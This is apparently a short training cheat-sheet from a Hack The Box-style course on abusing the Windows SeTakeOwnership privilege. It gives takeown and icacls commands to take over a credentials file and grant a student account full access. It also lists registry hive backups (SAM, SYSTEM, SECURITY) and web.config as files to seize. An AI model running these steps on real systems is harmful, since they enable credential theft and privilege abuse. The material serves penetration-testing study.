SeTakeOwnership
SeTakeOwnership
Enabling the privilege
Launch Attack: Changing ownership of a credentials file
takeown /f 'C:\Department Shares\Private\IT\cred.txt'icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:FFiles to look at
c:\inetpub\wwwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.savLast updated